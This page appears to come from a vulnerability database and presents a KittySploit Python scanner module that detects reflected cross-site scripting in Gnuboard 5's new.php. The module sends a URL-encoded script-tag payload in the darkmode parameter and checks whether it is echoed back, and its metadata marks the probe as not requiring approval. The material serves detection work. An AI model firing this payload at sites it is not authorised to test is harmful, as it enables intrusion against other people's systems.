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Gnuboard 5 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Cross-Site Scripting in Gnuboard 5 via clean_xss_tags() in new.php.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Gnuboard 5 - Cross-Site Scripting Detection',
        'description': 'Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new.php.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'vulnerability', 'xss', 'gnuboard', 'gnuboard5', 'huntr', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': ['https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/'],
    }

    def run(self):
        r = self.http_request(method="GET", path='/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('header\\"><script>alert(document.domain)</script>.css?',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="Gnuboard 5 - Cross-Site Scripting detected",
                path='/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E',
            )
            return True
        return False

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28 Jul 2026 11:27Current
5.6Medium risk
Vulners AI Score5.6
1